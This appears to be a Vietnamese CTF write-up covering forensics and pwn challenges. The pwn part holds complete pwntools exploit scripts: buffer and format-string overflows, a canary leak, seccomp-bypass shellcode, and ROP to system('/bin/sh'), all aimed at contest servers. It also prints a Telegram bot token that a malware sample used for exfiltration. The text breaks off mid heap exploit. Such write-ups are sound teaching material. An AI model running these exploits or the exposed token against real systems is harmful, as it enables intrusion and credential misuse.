      • Bot Token: 6685689576:AAEZDTUeHWzc7nqK84T7IhtBKJyZ0cUbIZo.

Step 3

Dựa trên đề bài có đề cập đến destination tức là ta sẽ tập chung khai thác đích đến của dữ liệu chính là Telegram

Ta cần biết thông tin sơ bộ của con bot telegram mà hacker gửi dữ liệu đến

Đọc bài viết này để tham khảo https://core.telegram.org/bots/api#getme

Từ bài viết ta có thể truy cập vào đường link sau đây để lấy thông tin: https://api.telegram.org/bot6685689576:AAEZDTUeHWzc7nqK84T7IhtBKJyZ0cUbIZo/getMe

image

Giải mã chuỗi base64 Qk9UOiBLQ1NDe0V4RjFsVHJhdGkwbl8wdjNyX1QzTDNnckBtP30= ta sẽ nhận được flag

Ở challenge của viblo và các giải của HTB cũng đề cập đến API Telegram kiểu này nhưng nó khó hơn rất nhiều.

Flag

KCSC{ExF1lTrati0n_0v3r_T3L3gr@m?}

Powershell 101

image

Step 1

Challenge cung cấp cho file s.ps1 và folder Pictures gồm các file bị mã hóa với đuôi .enc

Phân tích file s.ps1 thì ta thấy Script này:

  • Lấy tất cả file ảnh (định dạng .jpg, .png, .jpeg, .bmp) từ thư mục C:\Users\<...>\OneDrive\Pictures

  • Mã hoá dữ liệu file bằng AES CBC (với key và IV đã hardcode).

  • Base64 + Nén (Deflate) + Base64 lần nữa.

  • Ghi kết quả ra file có đuôi .enc.

  • Xoá file gốc.

Step 2

Em thấy có file tên là Important.enc nên đã quyết định giải mã nó trước Dùng cyberchef đi ngược lại mấy bước mã hóa ở script là được

image

Flag

KCSC{S0m3t1m3_R3co\_/ery_1s_EasieR_Th@n_y0u_Thought}

Automatic

image

Challenge cung cấp cho file Disk.ad1 nên em mở FTK.image

Q1. What is the MITRE ATT&CK sub-technique ID used for persistence?

T1547.001

Đề bài có đề cập đến persistence nên theo kinh nghiệm chơi CTF của em thì em vô folder Startup thì thấy file Recycle Bin.lnk.bat

Recycle Bin.lnk.bat có thể là một shortcut giả mạo được thiết kế để đánh lừa người dùng nhấp vào, sau đó thực thi đoạn mã cụ thể thì nó thực thi script tmp6e5d08.ps1 trong thư mục temp.

Tham khảo: https://attack.mitre.org/techniques/T1547/001/

Q2. What is the MD5 hash of the second stage file executed by the malware?

FCDBBEA5F3DCD22E1E0A5627DAEC0A3A

image

Xuất file ra và tính hash thôi

Q3. Decrypt any encrypted file to complete this question.

G00d_J0b_Br0!!

Chức năng của script:

Mã hóa tập tin: Script sử dụng thuật toán AES để mã hóa nội dung của các tập tin trong các thư mục mục tiêu (Documents, Downloads, Desktop, Pictures).

Các tập tin đã mã hóa được lưu với phần mở rộng .KCSC, và bản gốc của chúng sẽ bị xóa.

Key: Được tính toán từ tên máy tính ($env:COMPUTERNAME) thông qua thuật toán SHA256. Có thể tìm trong Windows Registry

image

IV: Được tính toán từ tên người dùng ($env:USERNAME) bằng thuật toán MD5.

Ta có USERNAME là yud-binary trong folder USER luôn rồi

Chú ý đề bài yêu cầu decrypt hết mấy file bị mã hóa, ở đây nếu decrypt hết ta sẽ tìm được hình ảnh mã QR nằm trong folder Pictures.

image

Flag

KCSC{T1547.001_FCDBBEA5F3DCD22E1E0A5627DAEC0A3A_G00d_J0b_Br0!!}

DFIR 01

Sự cố được giả định tại một Công ty có tên DFCorp có trụ sở tại Việt Nam. Công ty sử dụng các máy chủ, được thiết kế và lắp đặt, kết nối như sau:

Danh sách các dải mạng: DMZ: 192.168.6.0/24 USERLAN: 192.168.17.0/24

Danh sách các thiết bị tham gia hệ thống mạng:

Máy chủ Backup (DMZ): 192.168.6.20 cài đặt Mật khẩu truy cập: Administrator / DFC0rp@sysad

Máy chủ ảo hóa (DMZ): 192.168.6.21 cài đặt VMWare ESXi standalone Mật khẩu truy cập: root / DFC0rp@ESXi

Thiết bị Firewall: 192.168.6.1 sử dụng thiết bị Fortigate 201F Máy chủ Database (DMZ): 192.168.6.24 cài đặt Ubuntu và OracleDB 23ai

Máy chủ Queue (DMZ): 192.168.6.23 cài đặt CentOS và RabbitMQ Các nhân viên tham gia với dải mạng USERLAN

Sự cố xảy ra trên hạ tầng máy chủ chính của DFCorp, chứa nhiều dữ liệu quan trọng của người dùng cũng như các bí mật kinh doanh. Hiện trạng sự cố:

‾ Các máy chủ dịch vụ (DB, Queue) không thể truy cập.

‾ Đội ngũ quản trị đã thử đăng nhập máy chủ ESXi để bật lại VM nhưng không thành công do sai mật khẩu

‾ Khi đăng nhập vào máy chủ backup, hệ thống luôn luôn sử dụng 100% CPU và có dấu hiệu của tấn công mã hóa dữ liệu

Đội ngũ quản trị đã thực hiện cách ly máy chủ ESXi và máy chủ backup sang dải mạng riêng, với vai trò là đội ứng cứu sự cố, hãy hỗ trợ công ty DFCorp điều tra nguyên nhân tấn công và các hành vi kẻ tấn công đã thực hiện được.

Lưu ý: Cách tắt hyper-V để có thể chạy vmesxi:

bcdedit /set hypervisorlaunchtype off

bật hyper-V: bcdedit /set hypervisorlaunchtype auto

Sau khi tắt hoặc bật hyper-V hãy khởi động lại máy chủ

Nếu máy chủ windows gây ra load nhiều cpu hãy set về hostonly hoặc ngắt mạng máy chủ
Nhập ok vào ô flag để mở khóa thử thách tiếp theo sau khi đã đọc xong mô tả, tương tự với các challange sẽ được mở khi hoàn thành challange yêu cầu Có tổng cộng 10 bài

Challenge cung cấp cho ta 1 những file máy ảo sau đây:

image

Nhấp đúp chuột vào file .ovf VMware sẽ tự động cài đặt (Tùy vào mỗi máy mà có thể sẽ gặp những lỗi riêng).

Đây là kết quả khi khởi động thành công:

image

image

DFIR 02

image

Challenge có nói rằng Đội ngũ quản trị đã thử đăng nhập máy chủ ESXi để bật lại VM nhưng không thành công do sai mật khẩu

Theo 2 bài viết được gợi ý từ hint thì ta cần reset mật khẩu lại để đăng nhập, bản chất là làm sao để xóa đi hash mật khẩu thì ta sẽ không còn mật khẩu nữa và có thể đăng nhập.

Làm theo 2 bài viết từ hint:

image

image

Sau khi reset mật khẩu thành công ta có thể quản lý máy chủ thông qua địa chỉ http://192.168.49.128 (qua DHCP).

image

Để trả lời câu hỏi thì ta xem folder dfcorp-queue:

image

Flag

KCSC{dfcorp-queue}

DFIR 03

image

Với câu hỏi này thì em kiểm tra mấy cái log

Tham khảo bài viết này:

https://www.h4tt0r1.cz/post/digital-forensics-and-incident-response-on-vmware-hypervisors

image

Em dùng các từ khóa phổ biến liên quan đến User-Agent sau đó lọc ra trong log hostd.log

Lọc xong thì em thử submit ai ngờ nó đúng ạ chứ thú thật em cũng không biết sao nó đúng :(((

Flag

KCSC{Mozilla/5.0 (Windows NT 6.3; WOW64; rv:102.0) Gecko/20100101 Goanna/6.7 Firefox/102.0 PaleMoon/33.3.1}

DFIR 04

image

Câu này thì vẫn là trong hostd.log, em vẫn lọc các từ khóa liên quan đến hành vi rà quét của kẻ tấn công thì không khó để phát hiện được.

image

Flag

KCSC{2024-08-16}

DFIR 05

image

Câu này thì xem file Security.evtx lọc các event id 4625 vì đó là sự kiện ghi lại lần đăng nhập thất bại.

Ta dễ dàng thấy trong ngày 16-08-2024 (utc) có rất nhiều lần đăng nhập thất bại, lưu ý là tính trong ngày đó thôi.

image

Flag

KCSC{10223}

III. Pwn

Cre: kur0x1412

AAA

Phân tích

image

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  printf("Input: ");
  gets(buf);
  printf("Your input: %s\n", buf);
  if ( is_admin )
    system("cat /flag");
  return 0;
}
  • Chỉ có duy nhất hàm main, nhập vào bằng gets() => Buffer Overflow

    image

  • buf ở trước is_admin, nên chỉ cần ghi sao cho tràn được qua is_admin là có flag

KCSC{AAAAAAAAAAAAAAAaaaaaaaaaaaaaaaaa____!!!!!}

Full script

#!/usr/bin/python3
from pwn import *

context.binary = exe = ELF('./main', checksec=False)

if args.REMOTE:
    conn = 'nc 36.50.177.41 50011'.split()
    p = remote(conn[1], int(conn[2]))
else:
    p = process(exe.path)

p.sendline(b'A'*0x101)

p.interactive()

welcome

Phân tích

image

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[64]; // [rsp+0h] [rbp-40h] BYREF

  setup(argc, argv, envp);
  puts("Welcome to KCSC Recruitment !");
  printf("What's your name?\n> ");
  fgets(s, 64, stdin);
  printf("Hi ");
  printf(s);
  if ( key == 0x1337 )
    win();
  return 0;
}
  • Lỗi Format String ở dòng 10
int win()
{
  return system("/bin/sh");
}
  • Nếu key = 0x1337 thì sẽ có shell

    image

  • Địa chỉ của key là 0x40408c

  • Giờ sẽ ghi địa chỉ của key vào buf rồi dùng %n (cụ thể là %hn - ghi 2 byte) để viết 0x1337 vào địa chỉ của key

KCSC{A_little_gift_for_pwner_hehehehehehehehe}

Full script

#!/usr/bin/python3
from pwn import *

context.binary = exe = ELF('./welcome', checksec=False)

if args.REMOTE:
    conn = 'nc 36.50.177.41 50010'.split()
    p = remote(conn[1], int(conn[2]))
else:
    p = process(exe.path)

key = 0x40408c
payload = f'%{0x1337}c%9$hn'.encode()
payload = payload.ljust(24,b'\0')
payload += p64(key)
p.sendlineafter(b'name?\n> ', payload)

p.interactive()

darktunnel

Phân tích

image

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  run();
}
void __cdecl __noreturn run()
{
  int v0; // eax
  unsigned __int64 id[3]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  memset(id, 0, 3uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      v0 = menu();
      if ( v0 == 2 )
        break;
      if ( v0 <= 2 )
      {
        if ( !v0 )
          exit(0);
        if ( v0 == 1 )
          input_id(id);
      }
    }
    if ( !id[0] || !id[1] || !id[2] )
    {
      printf("id error !");
      exit(0);
    }
    printf("communication id: ");
    print_id(id);
    printf("communication buffer input start -> ");
    send_buff(id);
  }
}
int __cdecl menu()
{
  int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("1. id setup");
  puts("2. send buffer");
  puts("0. exit");
  printf("> ");
  __isoc99_scanf("%d", &choice);
  return choice;
}
  • Lựa chọn 1
void __cdecl input_id(unsigned __int64 *id)
{
  int i; // [rsp+1Ch] [rbp-4h]

  memset(id, 0, 3uLL);
  for ( i = 0; i <= 3; ++i )
  {
    printf("id %d: ", i);
    __isoc99_scanf("%lu", &id[i]);
  }
}
  • Để ý ở nãy hàm run khai báo mảng id với 3 phần tử nhưng vô đây lại nhập 4 => khả năng có lỗi

    image

  • Khi dùng gdb để xem xét thì thấy id sẽ nhập vào 4 vị trí

    image

  • Cái thứ 4 kia chính là canary

  • Xem lại hàm run thì nếu chọn 2 thì sẽ in 4 id đã nhập vào, nếu có id nào = 0 thì thoát chương trình

void __cdecl print_id(unsigned __int64 *id)
{
  int i; // [rsp+1Ch] [rbp-4h]

  printf("[ ");
  for ( i = 0; i <= 3; ++i )
    printf("%lu ", id[i]);
  puts(" ]");
}
  • Hàm scanf("%lu", &id[i]), nếu nhập kí tự + hoặc - thì hàm scanf() sẽ coi như không có giá trị nào được nhập vào, do đó id[3] = canary được giữ nguyên -> khi in id sẽ in ra canary

  • Sau khi in id thì sẽ nhập vào buff

void __cdecl send_buff(unsigned __int64 *id)
{
  int len; // [rsp+18h] [rbp-3F8h]
  int fd; // [rsp+1Ch] [rbp-3F4h]
  char buff[1000]; // [rsp+20h] [rbp-3F0h] BYREF
  unsigned __int64 v4; // [rsp+408h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(buff, 0, sizeof(buff));
  __isoc99_scanf("%s", buff);
  len = strlen(buff);
  if ( len > 1 )
  {
    fd = open("/tmp/data.rc", 577, 644LL);
    write(fd, buff, len);
  }
}
  • scanf("%s", ...) chỉ dừng nhập khi gặp các byte 0x9, 0x20,0xa, 0xb, 0xc, 0xd => có thể Stack Buffer Overflow, mà ta đã có canary nên có thể điều khiển được saved rip

  • Sau khi nhập vào sẽ kiểm tra độ dài của đoạn nhập vào bằng strlen(), nếu dài hơn 1 thì sẽ mở file /tmp/data.rc và ghi nội dung file đó vào buff, điều này có thể dẫn đến việc giá trị nhập vào trước đó sẽ bị thay đổi

  • Tuy nhiên hàm strlen() chỉ kiểm tra đến byte 0x00, vậy nên nếu ở ngay đầu buff ta nhập vào 0x00 thì len = 0

Screenshot 2025-01-19 230517

  • Xem trong ida thì thấy có một hàm ẩn cho shell
void __cdecl admin()
{
  puts("For admin only, contact us if this function suddenly runs: ");
  system("/bin/sh");
}

-> Mục tiêu là ghi đè saved rip của hàm send_buff đè sau đó nhảy vào admin chứ không quay lại hàm run. Vì PIE tắt nên có thể lấy được địa chỉ của hàm admin = 0x4014d3

Screenshot 2025-01-19 230844

  • Trong kiến trúc 64-bit thì khi một hàm được gọi thì giá trị rsp phải luôn được căn chỉnh sao cho chia hết cho 16 (lsb của rsp = 0 chứ không phải 8) vậy nên khi ghi đè saved rip thì sẽ ghi giá trị 0x4014d8, bỏ qua push rbp để không bị dính lỗi

KCSC{c279cb580a741137b9a30096ca3b9706}

Full script

#!/usr/bin/python3
from pwn import *

context.binary = exe = ELF('./main', checksec=False)

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript=f'''
            # b*0x40135b
            # b*0x4015db
            b*0x4013d4
            c
            ''')

if args.REMOTE:
    conn = 'nc 36.50.177.41 50002'.split()
    p = remote(conn[1], int(conn[2]))
else:
    p = process(exe.path)
GDB()

admin = 0x4014d3
slan(b'> ', 1)
sla(b'id 0: ', b'1')
sla(b'id 1: ', b'1')
sla(b'id 2: ', b'1')
sla(b'id 3: ', b'+')
slan(b'> ', 2)
ru(b'communication id: [ 1 1 1 ')
canary = int(ru(b'  ]')[:-3])
info('[*] canary: ' + hex(canary))
sleep(1)
payload = b'\0'*0x3e8 + p64(canary) + b'\0'*8 + p64(admin+5)
sl(payload)

p.interactive()

ccrash

Phân tích

image

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char result[1024]; // [rsp+0h] [rbp-400h] BYREF

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setup();
  puts("Test::Test: Assertion 'false' failed!");
  puts("Callstack:");
  printf("dbg::handle_assert(214) in mylib.dll %p: Test::Test(9) in mylib.dll\n", result);
  printf("myfunc(10) in TestStackTrace %p: main(23) in TestStackTrace\n", trace);
  puts("invoke_main(65) in TestStackTrace");
  puts("_scrt_common_main_seh(253) in TestStackTrace ");
  puts("OK");
  read(0, result, 0x410uLL);
  return 0;
}
  • Có thể thấy ngay được ở dòng 10 bài đã cho địa chỉ của mảng result -> có địa chỉ stack

  • Ở dòng 10, có Stack Buffer Overflow ở hàm read khi có thể vừa đủ ghi đè saved rbp và saved rip

  • Ngó qua hàm setup()

void __cdecl setup()
{
  scmp_filter_ctx ctx; // [rsp+0h] [rbp-20h]
  size_t page_size; // [rsp+18h] [rbp-8h]
  __int64 savedregs; // [rsp+20h] [rbp+0h] BYREF

  page_size = sysconf(30);
  mprotect((void *)(-(__int64)page_size & (unsigned __int64)&savedregs), page_size, 7);
  ctx = (scmp_filter_ctx)seccomp_init(2147418112LL);
  if ( ctx )
  {
    if ( (int)seccomp_rule_add(ctx, 327681LL, 59LL, 0LL) < 0 || (int)seccomp_rule_add(ctx, 327681LL, 322LL, 0LL) < 0 )
    {
      perror("seccomp_rule_add (execve) failed");
      seccomp_release(ctx);
    }
    else if ( (int)seccomp_rule_add(ctx, 327681LL, 2LL, 0LL) >= 0 )
    {
      if ( (int)seccomp_load(ctx) < 0 )
      {
        perror("seccomp_load failed");
        seccomp_release(ctx);
      }
    }
    else
    {
      perror("seccomp_rule_add (open) failed");
      seccomp_release(ctx);
    }
  }
  else
  {
    perror("seccomp_init failed");
  }
}
  • Đầu tiên dùng sysconf(30) để lấy giá trị page_size (0x1000)

  • Sau đó lấy địa chỉ của savedregs để & với -page_size => biến 3 byte thấp nhất của savedregs thành 000 sau đó thay đổi quyền của vùng nhớ vừa tính được ở bên trên thành Read-Write-Excute

    image

  • Mà ở hàm main đã cho địa chỉ stack => nghĩ đến ngay chạy shellcode trên stack

  • Đoạn code tiếp theo là cơ chế SECCOMP, nó dùng để cấm các syscall không cần thiết để giảm bớt được rủi ro chương trình bị khai thác

    Screenshot 2025-01-21 003114

  • Vậy là chương trình không thể thực thi các syscall open, execve hay execveat

  • Tuy nhiên chỉ như vậy là chưa đủ, vẫn còn rất nhiều cách khác để có thể lấy được flag, ở đây mình dùng syscall openatsendfile

    • openat(-100, "flag.txt", 0) -> mở file flag.txt

      • -100 (AT_FDCWD) là để tìm kiếm file trong cùng thư mục với chương trình (Thường thì chall và flag sẽ cùng thư mục)

      • 0 để biểu thị cho việc mở file để đọc

      • sau khi mở file thành công sẽ trả về một file descriptor trong rax

    • sendfile(1, fd, 0, 100) -> đọc nội dung từ flag.txt ra stdout

      • 1 là file descriptor của stdout

      • fd là file descriptor nhận được sau khi mở file thành công

      • 0 là offset, đọc từ đầu file

      • 100 là độ dài nội dung muốn đọc

Khai thác

  • Để cho nhanh thì mình dùng pwntools để hỗ trợ việc viết shellcode
shellcode = shellcraft.openat(-100, 'flag.txt', 0)
shellcode += shellcraft.sendfile(1, 'rax', 0, 100)
  • Việc đầu tiên cần làm là phải ghi được shellcode vào vùng stack có thể thực thi

    image

  • Dùng gdb quan sát hàm main thì thấy rằng ở đoạn này sẽ dùng hàm read để ghi vào địa chỉ rbp-0x400 -> đầu tiên sẽ ghi đè:

    • saved rbp => địa chỉ stack thực thi được + 0x400

    • saved rip => 0x4014a6

  • Rồi sau đó ghi shellcode vào và nhảy đến shellcode là có flag

KCSC{_f3_deba3756312c79f925913b50cdd9b9}

Full script

#!/usr/bin/python3
from pwn import *

context.binary = exe = ELF('./main', checksec=False)

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript=f'''
            b*0x4014c5
            c
            ''')

if args.REMOTE:
    conn = 'nc 36.50.177.41 50001'.split()
    p = remote(conn[1], int(conn[2]))
else:
    p = process(exe.path)
GDB()

ru(b'mylib.dll ')
stack_leak = int(r(14), 16)
rwx_addr = stack_leak & ~0xfff
info('[*] stack leak: ' + hex(stack_leak))
info('[*] executable address: ' + hex(rwx_addr))

read_in_main = 0x4014a6
payload = b'A'*1024 + p64(rwx_addr+0x400) + p64(read_in_main)
sa(b'OK\n', payload)

shellcode = asm(shellcraft.openat(-100, 'flag.txt', 0))
shellcode += asm(shellcraft.sendfile(1, 'rax', 0, 100))
shellcode = shellcode.ljust(1032, b'\x90') + p64(rwx_addr)
sleep(1)
s(shellcode)

p.interactive()

Chodan

Phân tích

image

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#define __USE_MISC  
#include <sys/mman.h>
#include <fcntl.h>
#define CODE_SIZE 0x100
#define NAME_SIZE 0x10

void (*code)();

void setup()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    code = mmap(NULL, CODE_SIZE, PROT_READ | PROT_READ | PROT_EXEC | PROT_WRITE, \
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if(!code)
    {
        perror("Init code failed");
        exit(-1);
    }
}

int main()
{
    setup();
    printf("Your shellcode: ");
    read(0, code, CODE_SIZE);
    close(0);
    uint8_t *cur = (uint8_t*)code + 8;
    while(cur + 8 < code + CODE_SIZE)
    {
        memset(cur, 0, 8);
        cur += 16;
    }
    asm volatile(
        ".intel_syntax noprefix;"
        "mov rax, 0xdededede;"
        "mov rdi, 0xcafebabe;"
        "mov rdx, 0xdcdcdcdc;"
        "mov rbx, 0xaaaaaaaaaa;"
        "mov rcx, 0xcccc;"
        "mov rsi, 0xccacaaaaac;"
        ".att_syntax prefix;"
    );
    code();
    return 0;
}
  • Hàm setup có tạo vùng nhớ mới và cấp cho quyền Read-Write-Excute

  • Ở hàm main sẽ cho ta nhâọ vào shellcode

  • close(0) là đóng stdin -> không thể nhập vào lần nữa -> shell code sẽ là opensendfile (không execve("/bin/sh\0", 0, 0) vì vẫn cần phải nhập cat /flag)

  • Tuy nhiên thì code dưới sẽ làm shellcode ta nhập vào để lại 8 byte, xóa 8 byte, để 8 byte, ... liên tiếp như vậy rồi thay đổi giá trị một số thanh ghi và thực thi shellcode => ta cần viết shellcode sao cho đoạn cần thực thi không bị xóa, chia nhiều đoạn nhỏ và sẽ nối với nhau bằng lệnh jmp/jne/je...

Trang web hỗ trợ tính toán độ dài shellcode: https://defuse.ca/online-x86-assembler.htm#disassembly

KCSC{YeJEonChEOReOm_YEOpEsE0_BaP_MEOgEOdO_Uy30nhI_NuNI_5@ljj@k_m@JuCHyEOdo}

Shellcode

# /flag = 0x67616c662f
shellcode = asm('''
mov esi, 0x67
    ''', arch='amd64') + b'\x74\x09' + b'\x90'*9

shellcode += asm('''
shl rsi, 32
    ''', arch='amd64') + b'\x75\x0a' + b'\x90'*10

shellcode += asm('''
mov edi, 0x616c662f
    ''', arch='amd64') + b'\x75\x09' + b'\x90'*9

shellcode += asm('''
xor rsi, rdi
push rsi
push rsp
pop rdi
    ''', arch='amd64') + b'\x75\x08' + b'\x90'*8

shellcode += asm('''
xor rsi, rsi
push rsi
pop rdx
    ''', arch='amd64') + b'\x74\x09' + b'\x90'*9

shellcode += asm('''
mov al, 0x2
syscall
push rax
pop rsi
    ''', arch='amd64') + b'\x74\x08' + b'\x90'*8

shellcode += asm('''
push rax
pop rdi
inc rdi
    ''', arch='amd64') + b'\x75\x09' + b'\x90'*9

shellcode += asm('''
mov al, 0x28
mov r10b, 0xff
syscall
    ''', arch='amd64') + b'\x75\x08' + b'\x90'*8

mình viết các lệnh jump (0x75/0x74) bằng pwntools thì bị lỗi nên viết trực tiếp các byte luôn

babyROP

Phân tích

Screenshot 2025-01-21 010842

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[64]; // [rsp+0h] [rbp-40h] BYREF

  setup(argc, argv, envp);
  puts("Welcome to KCSC Recruitment !!!");
  printf("Data: ");
  fgets(s, 4919, stdin);
  if ( strlen(s) > 0x40 )
  {
    puts("Buffer overflow ??? No way.");
    exit(0);
  }
  puts("Thank for playing :)");
  return 0;
}
  • Ở đây có lỗi Stack Buffer Overflow ở hàm fgets

  • Vậy chỉ cần ROP để leak libc rồi thực thi system("/bin/sh")

  • Giá trị các thanh ghi khi ret

  • Tuy nhiên thì khi mình tìm gadget thì không cài nào dùng được :((

  • Sau một hồi bế tắc thì mình quyết định ngồi gdb xem từng dòng code thì phát hiện ra một điều thú vị

  • Sau khi hàm printf() được gọi thì sẽ để lại một con trỏ trỏ đến địa chỉ libc trong rdi -> dùng puts để leak libc -> quay lại main lần nữa để ROP lấy shell

KCSC{GOToverwrite_is_Amazing_eab60643273379b005464b6ec048a6d4}

Vậy còn một cách nữa là GOToverwrite

Full script

#!/usr/bin/python3
from pwn import *

context.binary = exe = ELF('./chall_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript=f'''
            b*0x4012cb
            c
            ''')

if args.REMOTE:
    conn = 'nc 36.50.177.41 50003'.split()
    p = remote(conn[1], int(conn[2]))
else:
    p = process(exe.path)
GDB()

ret = 0x40101a
# ret để không bị dính lỗi căn chỉnh stack
payload = b'\0'*0x48 + p64(ret) + p64(exe.plt.printf)
payload += p64(exe.plt.puts) + p64(exe.sym.main)
sla(b'Data: ', payload)

ru(b'Thank for playing :)\n')
libc_leak = u64(r(6) + b'\0\0')
libc.address = libc_leak - 0x62050
info('[*] libc leak: ' + hex(libc_leak))
info('[*] libc base: ' + hex(libc.address))

pop_rdi = libc.address + 0x2a3e5
payload = b'\0'*0x48 + p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) + p64(libc.sym.system)
sla(b'Data: ', payload)

p.interactive()

LapTrinhCanBan

Phân tích

image

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}
struct sinhVien {
    char *name;
    unsigned int age;
    float score;
    struct sinhVien *next;
};
typedef struct sinhVien sinhVien;
int my_read(char buf[],unsigned int size){
    int len ,i ;
    len = read(0,buf,size) ;
    for(i =0 ;i<len;i++){
        if(buf[i]=='\n'){
            buf[i] = NULL ;
        }
    }
    return len ;
}
void menu() {
    puts("1. Add student");
    puts("2. Print student");
    puts("3. Delete student");
    puts("4. Exit");
    printf("> ");
}

sinhVien *makeSV() {
    sinhVien *newSV = (sinhVien*)malloc(sizeof(sinhVien));
    unsigned int size ;
    printf("Size name: ");
    scanf("%u",&size) ;
    newSV->name = malloc(size);
    printf("Name: ");
    my_read(newSV->name,0x1337);
    printf("Age: ");
    scanf("%u", &newSV->age);
    printf("Score: ");
    scanf("%f", &newSV->score);
    getchar();
    newSV->next = NULL;
    return newSV;
}

void add(sinhVien** top) {
    sinhVien* newnode = makeSV();
    if (*top == NULL) {
        *top = newnode;
    } else {
        sinhVien* tmp = *top;
        while (tmp->next != NULL) {
            tmp = tmp->next;
        }
        tmp->next = newnode;
    }
}

void show(sinhVien* top) {
    unsigned int idx = 0;
    puts("$$$$$ KCSC SCORE $$$$$");
    while (top != NULL) {
        printf("ID: %d\nNAME: %s\nAGE: %d\nSCORE: %.2f\n\n", idx, top->name, top->age, top->score);
        top = top->next;
        idx++;
    }
    puts("$$$$$$$$$$$$$$$$$$$$$$");
}

void delete(sinhVien **head, unsigned int idx) {
    if (*head == NULL) {
        printf("List is empty. Cannot delete.\n");
        return;
    }
    sinhVien *temp = *head;
    if (idx == 0) {
        *head = temp->next; 
        free(temp->name);
        free(temp);
        printf("Successfull.\n");
        return;
    }
    sinhVien *prev = NULL;
    for (unsigned int i = 0; i < idx; i++) {
        if (temp == NULL) {
            printf("Invalid index.\n");
            return;
        }
        prev = temp;
        temp = temp->next;
    }
    if (temp == NULL) {
        printf("Invalid index.\n");
        return;
    }
    prev->next = temp->next;
    free(temp->name);
    free(temp);
    printf("Successfull.\n");
}

int main() {
    setup();
    puts("Welcome to KCSC Score !!!");
    sinhVien *head = NULL;
    unsigned int choice;
    while (1) {
        menu();
        scanf("%u", &choice);
        getchar(); 
        switch (choice) {
            case 1:
                add(&head);
                break;
            case 2:
                show(head);
                break;
            case 3:
                printf("Index: ");
                scanf("%u", &choice);
                getchar(); 
                delete(&head,choice);
                break;
            case 4:
                exit(0);
            default:
                puts("Invalid choice.");
                break;
        }
    }
}
  • Có lỗi Heap Buffer Overflow ở dòng 41. Trước đó mình nhập size cho name để cấp phát một vùng nhớ nhưng lại luôn nhập vào 0x1337 byte

Leak

  • đĐầu tiên mình sẽ tạo 2 sinhvien như sau
add(0x10, b'\x11'*8, 1, 1)
add(0x10, b'\x22'*8, 1, 1)
#sv0
0x1780b290:     0x0                  0x21
0x1780b2a0:     0x1780b2c0           0x3f80000000000001
0x1780b2b0:     0x0                  0x21
0x1780b2c0:     0x1111111111111111   0x0
#sv1
0x1780b2c0:     0x0                  0x21
0x1780b2e0:     0x1780b300           0x3f80000000000001
0x1780b2f0:     0x0                  0x21
0x1780b300:     0x2222222222222222   0x0
  • Sau đó xóa sv1 đi
#sv0
0x1780b290:     0x0                  0x21
0x1780b2a0:     0x1780b2c0           0x3f80000000000001
0x1780b2b0:     0x0                  0x21
0x1780b2c0:     0x1111111111111111   0x0

0x1780b2d0:     0x0                  0x21
0x1780b2e0:     0x1781cb0b           0xbc70b1f1aac74486
0x1780b2f0:     0x0                  0x21
0x1780b300:     0x1780b              0xbc70b1f1aac74486
  • Tại địa chỉ 0x1780b2e0 là địa chỉ của heap nhưng đã bị encrypt do cơ chế bảo vệ xor fd khi free vào tcache (do chall ở bản glibc 2.35)

  • Tuy nhiên vẫn có cách giải mã, có thể đọc thêm trên how2heap

  • Ở hàm show thì dùng printf("%s", ...) (in đến khi gặp NULL) để in ra tên sinh viên, mà đọc vào name thì dùng hàm read (không thêm NULL vào cuối chuỗi) nên ở đây mình sẽ xóa sv0 đi vào tạo lại rồi thêm name sao cho nối ngay đến địa chỉ 0x1780b2e0 để leak heap

delete(0)
